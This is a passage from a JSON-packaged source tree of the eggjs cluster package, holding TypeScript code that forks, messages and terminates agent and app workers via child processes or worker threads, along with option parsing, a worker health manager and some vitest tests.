    "content": "import { fork, type ChildProcess, type ForkOptions } from 'node:child_process';\nimport { debuglog } from 'node:util';\n\nimport { graceful as gracefulExit, type Options as gracefulExitOptions } from 'graceful-process';\nimport { sendmessage } from 'sendmessage';\n\nimport { ClusterAgentWorkerError } from '../../../../error/ClusterAgentWorkerError.ts';\nimport type { MessageBody } from '../../../messenger.ts';\nimport { terminate } from '../../../terminate.ts';\nimport { BaseAgentWorker, BaseAgentUtils } from '../../base/agent.ts';\n\nconst debug = debuglog('egg/cluster/agent');\n\nexport class AgentProcessWorker extends BaseAgentWorker<ChildProcess> {\n  get workerId(): number {\n    return this.instance.pid!;\n  }\n\n  send(message: MessageBody): void {\n    sendmessage(this.instance, message);\n  }\n\n  static send(message: MessageBody): void {\n    message.senderWorkerId = String(process.pid);\n    process.send!(message);\n  }\n\n  static kill(): void {\n    process.exitCode = 1;\n    process.kill(process.pid);\n  }\n\n  static gracefulExit(options: gracefulExitOptions): void {\n    gracefulExit(options);\n  }\n}\n\nexport class AgentProcessUtils extends BaseAgentUtils {\n  #agentProcess: ChildProcess;\n  #id = 0;\n  instance: AgentProcessWorker;\n\n  fork(): this {\n    this.startTime = Date.now();\n\n    const args = [JSON.stringify(this.options)];\n    const forkOptions: ForkOptions & { windowsHide?: boolean } = {};\n\n    if (process.platform === 'win32') {\n      forkOptions.windowsHide = true;\n    }\n\n    // add debug execArgv\n    const debugPort = process.env.EGG_AGENT_DEBUG_PORT ?? 5800;\n    if (this.options.isDebug) {\n      forkOptions.execArgv = process.execArgv.concat([`--inspect-port=${debugPort}`]);\n    }\n\n    debug('forkOptions: %j, args: %s', forkOptions, args);\n    const agentProcess = (this.#agentProcess = fork(this.getAgentWorkerFile(), args, forkOptions));\n    const agentWorker = (this.instance = new AgentProcessWorker(agentProcess));\n    agentWorker.status = 'starting';\n    agentWorker.id = ++this.#id;\n    this.emit('agent_forked', agentWorker);\n    this.log(\n      '[master] agent_worker#%s:%s start with clusterPort:%s',\n      agentWorker.id,\n      agentWorker.workerId,\n      this.options.clusterPort,\n    );\n\n    // send debug message\n    if (this.options.isDebug) {\n      this.messenger.send({\n        to: 'parent',\n        from: 'agent',\n        action: 'debug',\n        data: {\n          debugPort,\n          // keep compatibility, should use workerId instead\n          pid: agentWorker.workerId,\n          workerId: agentWorker.workerId,\n        },\n      });\n    }\n    // forwarding agent' message to messenger\n    agentProcess.on('message', (msg: MessageBody | string) => {\n      if (typeof msg === 'string') {\n        msg = {\n          action: msg,\n          data: msg,\n        };\n      }\n      msg.from = 'agent';\n      this.messenger.send(msg);\n    });\n    // logger error event\n    agentProcess.on('error', (err) => {\n      err.name = 'AgentWorkerError';\n      this.logger.error(new ClusterAgentWorkerError(agentWorker.id, agentWorker.workerId, agentWorker.status, err));\n    });\n    // agent exit message\n    agentProcess.once('exit', (code, signal) => {\n      this.messenger.send({\n        action: 'agent-exit',\n        data: {\n          code,\n          signal,\n        },\n        to: 'master',\n        from: 'agent',\n      });\n    });\n\n    return this;\n  }\n\n  clean(): void {\n    this.#agentProcess.removeAllListeners();\n  }\n\n  async kill(timeout: number): Promise<void> {\n    if (this.#agentProcess) {\n      this.log('[master] kill agent worker with signal SIGTERM');\n      this.clean();\n      await terminate(this.#agentProcess, timeout);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/cluster/src/utils/mode/impl/process/app.ts",
    "content": "import cluster, { type Worker as ClusterProcessWorker } from 'node:cluster';\nimport { debuglog } from 'node:util';\n\nimport { cfork } from 'cfork';\nimport { graceful as gracefulExit, type Options as gracefulExitOptions } from 'graceful-process';\nimport { sendmessage } from 'sendmessage';\n\nimport type { MessageBody } from '../../../messenger.ts';\nimport { terminate } from '../../../terminate.ts';\nimport { BaseAppWorker, BaseAppUtils } from '../../base/app.ts';\n\nconst debug = debuglog('egg/cluster/utils/mode/impl/process/app');\n\nexport class AppProcessWorker extends BaseAppWorker<ClusterProcessWorker> {\n  get id(): number {\n    return this.instance.id;\n  }\n\n  get workerId(): number {\n    return this.instance.process.pid!;\n  }\n\n  get exitedAfterDisconnect(): boolean {\n    return this.instance.exitedAfterDisconnect;\n  }\n\n  get exitCode(): number {\n    return this.instance.process.exitCode!;\n  }\n\n  send(message: MessageBody): void {\n    sendmessage(this.instance, message);\n  }\n\n  clean(): void {\n    this.instance.removeAllListeners();\n  }\n\n  // static methods use on src/app_worker.ts\n\n  static get workerId(): number {\n    return process.pid;\n  }\n\n  static on(event: string, listener: (...args: any[]) => void): void {\n    process.on(event, listener);\n  }\n\n  static send(message: MessageBody): void {\n    message.senderWorkerId = String(process.pid);\n    // cluster won't get `listening` event when reusePort is true,\n    // use cluster `message` event instead\n    if (message.action === 'app-start' && message.reusePort) {\n      debug('send app-start message with reusePort, use cluster.worker.send()');\n      cluster.worker!.send(message);\n      return;\n    }\n    process.send!(message);\n  }\n\n  static kill(): void {\n    process.exitCode = 1;\n    process.kill(process.pid);\n  }\n\n  static gracefulExit(options: gracefulExitOptions): void {\n    gracefulExit(options);\n  }\n}\n\nexport class AppProcessUtils extends BaseAppUtils {\n  fork(): this {\n    this.startTime = Date.now();\n    this.startSuccessCount = 0;\n\n    const args = [JSON.stringify(this.options)];\n    this.log('[master] start appWorker with args %j (process)', args);\n    cfork({\n      exec: this.getAppWorkerFile(),\n      args,\n      silent: false,\n      count: this.options.workers,\n      // don't refork in local env\n      refork: this.isProduction,\n      windowsHide: process.platform === 'win32',\n    });\n\n    let debugPort = process.debugPort;\n    cluster.on('fork', (worker) => {\n      const appWorker = new AppProcessWorker(worker);\n      this.emit('worker_forked', appWorker);\n      appWorker.disableRefork = true;\n      worker.on('message', (msg) => {\n        if (typeof msg === 'string') {\n          msg = {\n            action: msg,\n            data: msg,\n          };\n        }\n        msg.from = 'app';\n        this.messenger.send(msg);\n      });\n      this.log(\n        '[master] app_worker#%s:%s start, state: %s, current workers: %j',\n        appWorker.id,\n        appWorker.workerId,\n        appWorker.state,\n        Object.keys(cluster.workers!),\n      );\n\n      // send debug message, due to `brk` scene, send here instead of app_worker.js\n      if (this.options.isDebug) {\n        debugPort++;\n        this.messenger.send({\n          to: 'parent',\n          from: 'app',\n          action: 'debug',\n          data: {\n            debugPort,\n            // keep compatibility, should use workerId instead\n            pid: appWorker.workerId,\n            workerId: appWorker.workerId,\n          },\n        });\n      }\n    });\n    cluster.on('disconnect', (worker) => {\n      const appWorker = new AppProcessWorker(worker);\n      this.log(\n        '[master] app_worker#%s:%s disconnect, suicide: %s, state: %s, current workers: %j',\n        appWorker.id,\n        appWorker.workerId,\n        appWorker.exitedAfterDisconnect,\n        appWorker.state,\n        Object.keys(cluster.workers!),\n      );\n    });\n    cluster.on('exit', (worker, code, signal) => {\n      const appWorker = new AppProcessWorker(worker);\n      this.messenger.send({\n        action: 'app-exit',\n        data: {\n          workerId: appWorker.workerId,\n          code,\n          signal,\n        },\n        to: 'master',\n        from: 'app',\n      });\n    });\n    return this;\n  }\n\n  async kill(timeout: number): Promise<void> {\n    await Promise.all(\n      Object.keys(cluster.workers!).map((id) => {\n        const worker = cluster.workers![id]!;\n        Reflect.set(worker, 'disableRefork', true);\n        return terminate(worker.process, timeout);\n      }),\n    );\n  }\n}\n"
  },
  {
    "path": "packages/cluster/src/utils/mode/impl/worker_threads/agent.ts",
    "content": "import workerThreads, { type Worker } from 'node:worker_threads';\n\nimport { type Options as gracefulExitOptions } from 'graceful-process';\n\nimport { ClusterAgentWorkerError } from '../../../../error/ClusterAgentWorkerError.ts';\nimport type { MessageBody } from '../../../messenger.ts';\nimport { BaseAgentUtils, BaseAgentWorker } from '../../base/agent.ts';\n\nexport class AgentThreadWorker extends BaseAgentWorker<Worker> {\n  get workerId(): number {\n    return this.instance.threadId;\n  }\n\n  send(message: MessageBody): void {\n    this.instance.postMessage(message);\n  }\n\n  static send(message: MessageBody): void {\n    message.senderWorkerId = String(workerThreads.threadId);\n    workerThreads.parentPort!.postMessage(message);\n  }\n\n  static kill(): void {\n    // in worker_threads, process.exit\n    // does not stop the whole program, just the single thread\n    process.exit(1);\n  }\n\n  static gracefulExit(options: gracefulExitOptions): void {\n    const { beforeExit } = options;\n    process.on('exit', async (code) => {\n      if (typeof beforeExit === 'function') {\n        await beforeExit();\n      }\n      process.exit(code);\n    });\n  }\n}\n\nexport class AgentThreadUtils extends BaseAgentUtils {\n  #worker: Worker;\n  #id = 0;\n  instance: AgentThreadWorker;\n\n  fork(): void {\n    this.startTime = Date.now();\n\n    // start agent worker\n    const argv = [JSON.stringify(this.options)];\n    const agentPath = this.getAgentWorkerFile();\n    const worker = (this.#worker = new workerThreads.Worker(agentPath, {\n      argv,\n    }));\n\n    // wrap agent worker\n    const agentWorker = (this.instance = new AgentThreadWorker(worker));\n    this.emit('agent_forked', agentWorker);\n    agentWorker.status = 'starting';\n    agentWorker.id = ++this.#id;\n    this.log('[master] agent_worker#%s:%s start with worker_threads', agentWorker.id, agentWorker.workerId);\n\n    worker.on('message', (msg) => {\n      if (typeof msg === 'string') {\n        msg = {\n          action: msg,\n          data: msg,\n        };\n      }\n      msg.from = 'agent';\n      this.messenger.send(msg);\n    });\n\n    worker.on('error', (err) => {\n      this.logger.error(new ClusterAgentWorkerError(agentWorker.id, agentWorker.workerId, agentWorker.status, err));\n    });\n\n    // agent exit message\n    worker.once('exit', (code: number, signal: string) => {\n      this.messenger.send({\n        action: 'agent-exit',\n        data: {\n          code,\n          signal,\n        },\n        to: 'master',\n        from: 'agent',\n      });\n    });\n  }\n\n  clean(): void {\n    this.#worker.removeAllListeners();\n  }\n\n  async kill(): Promise<void> {\n    if (this.#worker) {\n      this.log(`[master] kill agent worker#${this.#id} (worker_threads) by worker.terminate()`);\n      this.clean();\n      await this.#worker.terminate();\n    }\n  }\n}\n"
  },
  {
    "path": "packages/cluster/src/utils/mode/impl/worker_threads/app.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\nimport { Worker as ThreadWorker, threadId, parentPort, type WorkerOptions } from 'node:worker_threads';\n\nimport type { Options as gracefulExitOptions } from 'graceful-process';\n\nimport type { MessageBody } from '../../../messenger.ts';\nimport { BaseAppWorker, BaseAppUtils } from '../../base/app.ts';\n\nexport class AppThreadWorker extends BaseAppWorker<ThreadWorker> {\n  #state = 'none';\n  #id: number;\n\n  constructor(instance: ThreadWorker, id: number) {\n    super(instance);\n    this.#id = id;\n  }\n\n  get id(): number {\n    return this.#id;\n  }\n\n  get workerId(): number {\n    return this.instance.threadId;\n  }\n\n  get state(): string {\n    return this.#state;\n  }\n\n  set state(val: string) {\n    this.#state = val;\n  }\n\n  get exitedAfterDisconnect(): boolean {\n    return true;\n  }\n\n  get exitCode(): number {\n    return 0;\n    // return this.instance.exitCode;\n  }\n\n  send(message: MessageBody): void {\n    this.instance.postMessage(message);\n  }\n\n  clean(): void {\n    this.instance.removeAllListeners();\n  }\n\n  // static methods use on src/app_worker.ts\n\n  static get workerId(): number {\n    return threadId;\n  }\n\n  static on(event: string, listener: (...args: any[]) => void): void {\n    parentPort!.on(event, listener);\n  }\n\n  static send(message: MessageBody): void {\n    message.senderWorkerId = String(threadId);\n    parentPort!.postMessage(message);\n  }\n\n  static kill(): void {\n    process.exit(1);\n  }\n\n  static gracefulExit(options: gracefulExitOptions): void {\n    process.on('exit', async (code) => {\n      if (typeof options.beforeExit === 'function') {\n        await options.beforeExit();\n      }\n      process.exit(code);\n    });\n  }\n}\n\nexport class AppThreadUtils extends BaseAppUtils {\n  #workers: ThreadWorker[] = [];\n\n  #forkSingle(appPath: string, options: WorkerOptions, id: number): void {\n    // start app worker\n    const worker = new ThreadWorker(appPath, options);\n    this.#workers.push(worker);\n\n    // wrap app worker\n    const appWorker = new AppThreadWorker(worker, id);\n    this.emit('worker_forked', appWorker);\n    appWorker.disableRefork = true;\n    worker.on('message', (msg: MessageBody) => {\n      if (typeof msg === 'string') {\n        msg = {\n          action: msg,\n          data: msg,\n        };\n      }\n      msg.from = 'app';\n      this.messenger.send(msg);\n    });\n    this.log('[master] app_worker#%s (tid:%s) start', appWorker.id, appWorker.workerId);\n\n    // send debug message, due to `brk` scene, send here instead of app_worker.js\n    let debugPort = process.debugPort;\n    if (this.options.isDebug) {\n      debugPort++;\n      this.messenger.send({\n        to: 'parent',\n        from: 'app',\n        action: 'debug',\n        data: {\n          debugPort,\n          pid: appWorker.workerId,\n          workerId: appWorker.workerId,\n        },\n      });\n    }\n\n    // handle worker exit\n    worker.on('exit', async (code) => {\n      appWorker.state = 'dead';\n      this.messenger.send({\n        action: 'app-exit',\n        data: {\n          workerId: appWorker.workerId,\n          code,\n        },\n        to: 'master',\n        from: 'app',\n      });\n\n      // refork app worker\n      await sleep(1000);\n      this.#forkSingle(appPath, options, id);\n    });\n  }\n\n  fork(): this {\n    this.startTime = Date.now();\n    this.startSuccessCount = 0;\n\n    if (this.options.reusePort) {\n      // When reusePort is enabled, all workers share the same port\n      // and each worker has its own socket\n      if (!this.options.port) {\n        throw new Error('options.port must be specified when reusePort is enabled');\n      }\n      for (let i = 0; i < this.options.workers; i++) {\n        const argv = [JSON.stringify(this.options)];\n        this.#forkSingle(this.getAppWorkerFile(), { argv }, i + 1);\n      }\n    } else {\n      // Normal mode: each worker can have a different port\n      const ports = this.options.ports ?? [];\n      if (!ports.length) {\n        ports.push(this.options.port!);\n      }\n      this.options.workers = ports.length;\n      let i = 0;\n      do {\n        const options = Object.assign({}, this.options, { port: ports[i] });\n        const argv = [JSON.stringify(options)];\n        this.#forkSingle(this.getAppWorkerFile(), { argv }, ++i);\n      } while (i < ports.length);\n    }\n\n    return this;\n  }\n\n  async kill(): Promise<void> {\n    for (const worker of this.#workers) {\n      const id = Reflect.get(worker, 'id');\n      this.log(`[master] kill app worker#${id} (worker_threads) by worker.terminate()`);\n      worker.removeAllListeners();\n      worker.terminate();\n    }\n  }\n}\n"
  },
  {
    "path": "packages/cluster/src/utils/options.ts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs';\nimport os from 'node:os';\nimport path from 'node:path';\nimport { type SecureContextOptions } from 'node:tls';\nimport { debuglog } from 'node:util';\n\nimport { getFrameworkPath, importModule } from '@eggjs/utils';\n\nconst debug = debuglog('egg/cluster/utils/options');\n\nexport interface ClusterHTTPSSecureOptions {\n  key: SecureContextOptions['key'];\n  cert: SecureContextOptions['cert'];\n  ca?: SecureContextOptions['ca'];\n  passphrase?: SecureContextOptions['passphrase'];\n}\n\nexport type ClusterStartMode = 'process' | 'worker_threads';\n\n/** Cluster start options */\nexport interface ClusterOptions {\n  /**\n   * specify framework that can be absolute path or npm package\n   */\n  framework?: string;\n  /**\n   * @deprecated please use framework instead\n   */\n  customEgg?: string;\n  /** directory of application, default to `process.cwd()` */\n  baseDir?: string;\n  /**\n   * numbers of app workers, default to `os.cpus().length`\n   */\n  workers?: number | string;\n  /**\n   * listening port, default to `7001`(http) or `8443`(https)\n   */\n  port?: number | string | null;\n  /**\n   * listening a debug port on http protocol\n   */\n  debugPort?: number;\n  /**\n   * https options, { key, cert, ca }, full path\n   */\n  https?: ClusterHTTPSSecureOptions | boolean;\n  /**\n   * @deprecated please use `options.https.key` instead\n   */\n  key?: ClusterHTTPSSecureOptions['key'];\n  /**\n   * @deprecated please use `options.https.cert` instead\n   */\n  cert?: ClusterHTTPSSecureOptions['cert'];\n  /**\n   * will inject into worker/agent process\n   */\n  require?: string | string[];\n  /**\n   * will save master pid to this file\n   */\n  pidFile?: string;\n  /**\n   * custom env, default is `process.env.EGG_SERVER_ENV`\n   */\n  env?: string;\n  /**\n   * default is `'process'`, use `'worker_threads'` to start the app & agent worker by worker_threads\n   */\n  startMode?: ClusterStartMode;\n  /**\n   * startup port of each app worker, such as: `[7001, 7002, 7003]`, only effects when the startMode is `'worker_threads'`\n   */\n  ports?: number[];\n  /**\n   * sticky mode server\n   */\n  sticky?: boolean;\n  /**\n   * enable SO_REUSEPORT socket option for server listen, default is `false`.\n   * Only available on Linux 3.9+, DragonFlyBSD 3.6+, FreeBSD 12.0+, Solaris 11.4, and AIX 7.2.5+.\n   * @see https://nodejs.org/api/net.html#serverlistenoptions-callback\n   */\n  reusePort?: boolean;\n  /** customized plugins, for unittest */\n  plugins?: object;\n  isDebug?: boolean;\n}\n\nexport interface ParsedClusterOptions extends ClusterOptions {\n  port?: number;\n  baseDir: string;\n  workers: number;\n  framework: string;\n  startMode: ClusterStartMode;\n}\n\nexport async function parseOptions(options?: ClusterOptions): Promise<ParsedClusterOptions> {\n  options = {\n    baseDir: process.cwd(),\n    port: options?.https ? 8443 : undefined,\n    startMode: 'process',\n    // ports: [],\n    env: process.env.EGG_SERVER_ENV,\n    ...options,\n  };\n\n  const pkgPath = path.join(options.baseDir!, 'package.json');\n  assert(fs.existsSync(pkgPath), `${pkgPath} should exist`);\n\n  options.framework = getFrameworkPath({\n    baseDir: options.baseDir!,\n    // compatible customEgg only when call startCluster directly without framework\n    framework: options.framework ?? options.customEgg,\n  });\n  debug('[parseOptions] %o', options);\n\n  const egg = await importModule(options.framework, {\n    paths: [options.baseDir!],\n  });\n  assert(egg.Application, `should define Application in ${options.framework}`);\n  assert(egg.Agent, `should define Agent in ${options.framework}`);\n\n  if (options.https === true) {\n    // Keep compatible options.key, options.cert\n    console.warn('[@eggjs/cluster:deprecated] [master] Please use `https: { key, cert, ca }` instead of `https: true`');\n    options.https = {\n      key: options.key,\n      cert: options.cert,\n    };\n  }\n\n  // https\n  if (options.https) {\n    assert(options.https.key, 'options.https.key should exists');\n    if (typeof options.https.key === 'string') {\n      assert(fs.existsSync(options.https.key), 'options.https.key file should exists');\n    }\n    assert(options.https.cert, 'options.https.cert should exists');\n    if (typeof options.https.cert === 'string') {\n      assert(fs.existsSync(options.https.cert), 'options.https.cert file should exists');\n    }\n    if (typeof options.https.ca === 'string') {\n      assert(fs.existsSync(options.https.ca), 'options.https.ca file should exists');\n    }\n  }\n\n  if (options.port && typeof options.port === 'string') {\n    options.port = parseInt(options.port);\n  }\n  if (options.port === null) {\n    options.port = undefined;\n  }\n\n  if (options.workers && typeof options.workers === 'string') {\n    options.workers = parseInt(options.workers);\n  }\n  if (!options.workers) {\n    options.workers = os.cpus().length;\n  }\n\n  if (options.require) {\n    if (typeof options.require === 'string') {\n      options.require = [options.require];\n    }\n  }\n\n  // don't print deprecated message in production env.\n  // it will print to stderr.\n  if (process.env.NODE_ENV === 'production') {\n    process.env.NO_DEPRECATION = '*';\n  }\n\n  const isDebug = process.execArgv.some((argv) => argv.includes('--debug') || argv.includes('--inspect'));\n  if (isDebug) {\n    options.isDebug = isDebug;\n  }\n\n  return options as ParsedClusterOptions;\n}\n"
  },
  {
    "path": "packages/cluster/src/utils/terminate.ts",
    "content": "import { ChildProcess } from 'node:child_process';\nimport { once } from 'node:events';\nimport { setTimeout as sleep } from 'node:timers/promises';\nimport { debuglog } from 'node:util';\n\nimport { pstree } from '@fengmk2/ps-tree';\n\nconst debug = debuglog('egg/cluster/utils/terminate');\n\ninterface SubProcess extends ChildProcess {\n  process?: ChildProcess;\n}\n\nexport async function terminate(subProcess: SubProcess, timeout: number): Promise<void> {\n  const pid = subProcess.process?.pid ?? subProcess.pid;\n  const childPids = await getChildPids(pid!);\n  await Promise.all([killProcess(subProcess, timeout), killChildren(childPids, timeout)]);\n}\n\n// kill process, if SIGTERM not work, try SIGKILL\nasync function killProcess(subProcess: SubProcess, timeout: number) {\n  // https://github.com/nodejs/node/pull/34312\n  (subProcess.process ?? subProcess).kill('SIGTERM');\n  await Promise.race([once(subProcess, 'exit'), sleep(timeout)]);\n  if (subProcess.killed) {\n    return;\n  }\n  // SIGKILL: http://man7.org/linux/man-pages/man7/signal.7.html\n  // worker: https://github.com/nodejs/node/blob/master/lib/internal/cluster/worker.js#L22\n  // subProcess.kill is wrapped to subProcess.destroy, it will wait to disconnected.\n  (subProcess.process ?? subProcess).kill('SIGKILL');\n}\n\n// kill all children processes, if SIGTERM not work, try SIGKILL\nasync function killChildren(childrenPids: number[], timeout: number) {\n  if (childrenPids.length === 0) {\n    return;\n  }\n  kill(childrenPids, 'SIGTERM');\n\n  const start = Date.now();\n  // if timeout is 1000, it will check twice.\n  const checkInterval = 400;\n  let unterminated: number[] = [];\n\n  while (Date.now() - start < timeout - checkInterval) {\n    await sleep(checkInterval);\n    unterminated = getUnterminatedProcesses(childrenPids);\n    if (unterminated.length === 0) {\n      return;\n    }\n  }\n  kill(unterminated, 'SIGKILL');\n}\n\nasync function getChildPids(pid: number) {\n  let childrenPids: number[] = [];\n  try {\n    const children = await pstree(pid);\n    childrenPids = children!.map((c) => parseInt(c.PID));\n  } catch (err) {\n    // if get children error, just ignore it\n    debug('pstree %s error: %s, ignore it', pid, err);\n  }\n  return childrenPids;\n}\n\nfunction kill(pids: number[], signal: string) {\n  for (const pid of pids) {\n    try {\n      process.kill(pid, signal);\n    } catch (err) {\n      // ignore\n      debug('kill %s error: %s, signal: %s, ignore it', pid, err, signal);\n    }\n  }\n}\n\nfunction getUnterminatedProcesses(pids: number[]) {\n  return pids.filter((pid) => {\n    try {\n      // success means it's still alive\n      process.kill(pid, 0);\n      return true;\n    } catch (err) {\n      // error means it's dead\n      debug('kill %s error: %s, it still alive', pid, err);\n      return false;\n    }\n  });\n}\n"
  },
  {
    "path": "packages/cluster/src/utils/worker_manager.ts",
    "content": "import { EventEmitter } from 'node:events';\n\nimport { BaseAgentWorker } from './mode/base/agent.ts';\nimport { BaseAppWorker } from './mode/base/app.ts';\n\n// worker manager to record agent and worker forked by egg-cluster\n// can do some check stuff here to monitor the healthy\nexport class WorkerManager extends EventEmitter {\n  agent: BaseAgentWorker | null;\n  workers: Map<number, BaseAppWorker> = new Map<number, BaseAppWorker>();\n  exception = 0;\n  timer: NodeJS.Timeout;\n\n  constructor() {\n    super();\n    this.agent = null;\n  }\n\n  getWorkers(): number[] {\n    return Array.from(this.workers.keys());\n  }\n\n  setAgent(agent: BaseAgentWorker): void {\n    this.agent = agent;\n  }\n\n  getAgent(): BaseAgentWorker | null {\n    return this.agent;\n  }\n\n  deleteAgent(): void {\n    this.agent = null;\n  }\n\n  setWorker(worker: BaseAppWorker): void {\n    this.workers.set(worker.workerId, worker);\n  }\n\n  getWorker(workerId: number): BaseAppWorker | undefined {\n    return this.workers.get(workerId);\n  }\n\n  deleteWorker(workerId: number): void {\n    this.workers.delete(workerId);\n  }\n\n  listWorkerIds(): number[] {\n    return Array.from(this.workers.keys());\n  }\n\n  listWorkers(): BaseAppWorker[] {\n    return Array.from(this.workers.values());\n  }\n\n  getListeningWorkerIds(): number[] {\n    const keys = [];\n    for (const [id, worker] of this.workers.entries()) {\n      if (worker.state === 'listening') {\n        keys.push(id);\n      }\n    }\n    return keys;\n  }\n\n  count(): { agent: number; worker: number } {\n    return {\n      agent: this.agent?.status === 'started' ? 1 : 0,\n      worker: this.listWorkerIds().length,\n    };\n  }\n\n  // check agent and worker must both alive\n  // if exception appear 3 times, emit an exception event\n  startCheck(): void {\n    this.timer = setInterval(() => {\n      const count = this.count();\n      if (count.agent > 0 && count.worker > 0) {\n        this.exception = 0;\n        return;\n      }\n      this.exception++;\n      if (this.exception >= 3) {\n        this.emit('exception', count);\n        clearInterval(this.timer);\n      }\n    }, 10000);\n  }\n}\n"
  },
  {
    "path": "packages/cluster/test/agent_worker.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { readFile } from 'node:fs/promises';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockClusterApplication } from '@eggjs/mock';\nimport coffee from 'coffee';\nimport { describe, it, afterEach, beforeAll, afterAll } from 'vitest';\n\nimport { cluster, getFilepath } from './utils.ts';\n\ndescribe('test/agent_worker.test.ts', () => {\n  let app: MockClusterApplication;\n\n  afterEach(mm.restore);\n\n  describe('Fork Agent', () => {\n    afterEach(() => app && app.close());\n\n    it.skip('support config agent debug port', () => {\n      mm(process.env, 'EGG_AGENT_DEBUG_PORT', '15800');\n      app = cluster('apps/agent-debug-port', {\n        opt: {\n          require: ['./inject1.js'],\n        },\n      });\n      return (\n        app\n          // .debug()\n          .expect('stdout', /@@inject1\\.js run/)\n          .expect('stdout', /=15800/)\n          .end()\n      );\n    });\n\n    it.skip('agent debug port default 5800', () => {\n      app = cluster('apps/agent-debug-port');\n      return (\n        app\n          // .debug()\n          .expect('stdout', /=5800/)\n          .end()\n      );\n    });\n\n    it('should exist when error happened during boot', () => {\n      app = cluster('apps/agent-die-onboot');\n      return (\n        app\n          // .debug()\n          .expect('code', 1)\n          .expect('stderr', /\\[master\\] agent_worker#1:\\d+ start fail, exiting with code:1/)\n          .expect('stderr', /error: app worker throw/)\n          .end()\n      );\n    });\n\n    it('should not start app when error happened during agent starting', () => {\n      app = cluster('apps/agent-die-onboot');\n      return app\n        .expect('code', 1)\n        .expect('stderr', /\\[master\\] agent_worker#1:\\d+ start fail, exiting with code:1/)\n        .expect('stderr', /error: app worker throw/)\n        .notExpect('stdout', /agent-error-but-app-start/)\n        .end();\n    });\n\n    it.skip('should refork new agent_worker after app started', async () => {\n      app = cluster('apps/agent-die');\n      await app\n        // .debug()\n        .expect('stdout', /\\[master\\] egg started on http:\\/\\/127.0.0.1:\\d+/)\n        .end();\n\n      app.process.send({\n        to: 'agent',\n        action: 'kill-agent',\n      });\n\n      await scheduler.wait(2000);\n\n      app.expect('stderr', /\\[master\\] agent_worker#1:\\d+ died/);\n      app.expect('stdout', /\\[master\\] try to start a new agent_worker after 1s .../);\n      app.expect('stdout', /\\[master\\] agent_worker#2:\\d+ started/);\n      app.notExpect('stdout', /app_worker#2/);\n    });\n\n    it.skip('should exit agent_worker when master die in accident', async () => {\n      app = cluster('apps/agent-die');\n      await app\n        // .debug()\n        .expect('stdout', /\\[master\\] egg started on http:\\/\\/127.0.0.1:\\d+/)\n        .end();\n\n      // kill -9 master\n      app.process.kill('SIGKILL');\n      await scheduler.wait(2000);\n      app\n        .expect('stderr', /\\[app_worker\\] receive disconnect event in cluster fork mode, exitedAfterDisconnect:false/)\n        .expect('stderr', /\\[agent_worker\\] receive disconnect event on child_process fork mode, exiting with code:110/)\n        .expect('stderr', /\\[agent_worker\\] exit with code:110/);\n    });\n\n    it('should master exit when agent exit during app worker boot', () => {\n      app = cluster('apps/agent-die-on-forkapp');\n\n      return (\n        app\n          // .debug()\n          .expect('code', 1)\n          .expect('stdout', /\\[master\\] agent_worker#1:\\d+ started/)\n          .expect('stderr', /\\[master\\] agent_worker#1:\\d+ died/)\n          .expect('stderr', /\\[master\\] agent_worker#1:\\d+ start fail, exiting with code:1/)\n          .expect('stderr', /\\[master\\] exit with code:1/)\n          .notExpect('stdout', /app_worker#2/)\n          .end()\n      );\n    });\n\n    it('should exit when emit error during agent worker boot', () => {\n      app = cluster('apps/agent-start-error');\n      return (\n        app\n          // .debug()\n          .expect('code', 1)\n          .expect('stderr', /mock error/)\n          .expect('stderr', /\\[agent_worker\\] start error, exiting with code:1/)\n          .expect('stderr', /\\[master\\] exit with code:1/)\n          .end()\n      );\n    });\n\n    it('should FrameworkErrorformater work during agent boot', () => {\n      app = cluster('apps/agent-start-framework-error');\n      return (\n        app\n          // .debug()\n          .expect('code', 1)\n          .expect('stderr', /CustomError: mock error \\[ https:\\/\\/eggjs\\.org\\/zh-cn\\/faq\\/customPlugin_99 \\]/)\n          .end()\n      );\n    });\n\n    it('should FrameworkErrorformater work during agent boot ready', () => {\n      app = cluster('apps/agent-start-framework-ready-error');\n      return (\n        app\n          // .debug()\n          .expect('code', 1)\n          .expect('stderr', /CustomError: mock error \\[ https:\\/\\/eggjs\\.org\\/zh-cn\\/faq\\/customPlugin_99 \\]/)\n          .end()\n      );\n    });\n\n    // process.send is not exist if started by spawn\n    it('master should not die if spawn error', async () => {\n      app = coffee.spawn('node', [getFilepath('apps/agent-die/start.js')]) as any;\n      // app.debug();\n      app.close = async () => app.proc.kill();\n\n      await scheduler.wait(2000);\n      app.emit('close', 0);\n      app.expect('stderr', /Error: Cannot find module/);\n      app.notExpect('stderr', /TypeError: process.send is not a function/);\n    });\n  });\n\n  // TODO: flaky test on windows, Hook timed out in 20000ms\n  describe.skipIf(process.platform === 'win32')('agent custom loggers', () => {\n    beforeAll(() => {\n      app = cluster('apps/custom-logger');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should support custom logger in agent', async () => {\n      await scheduler.wait(1500);\n      const content = await readFile(getFilepath('apps/custom-logger/logs/monitor.log'), 'utf8');\n      assert.match(content, /hello monitor!/);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/cluster/test/app_worker.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { rm } from 'node:fs/promises';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { request } from '@eggjs/supertest';\nimport { ip } from 'address';\nimport urllib from 'urllib';\nimport { describe, it, afterEach, beforeEach, beforeAll, afterAll } from 'vitest';\n\nimport { cluster, getFilepath } from './utils.ts';\n\n// node v24 will hang when test this file\n// FIXME: should enable this test after node v24 is stable\ndescribe.skipIf(process.version.startsWith('v24') || process.platform === 'win32')('test/app_worker.test.ts', () => {\n  let app: MockApplication;\n  afterEach(() => app && app.close());\n  afterEach(mm.restore);\n\n  describe('app worker', () => {\n    beforeAll(() => {\n      app = cluster('apps/app-server');\n      return app.ready();\n    });\n    it('should emit `server`', () => {\n      return app.httpRequest().get('/').expect('true');\n    });\n  });\n\n  describe('app worker error', () => {\n    it('should exit when app worker error during boot', () => {\n      app = cluster('apps/worker-die');\n\n      return (\n        app\n          // .debug()\n          .expect('code', 1)\n          .end()\n      );\n    });\n\n    it('should exit when emit error during app worker boot', () => {\n      app = cluster('apps/app-start-error', {\n        opt: {\n          env: Object.assign({}, process.env, 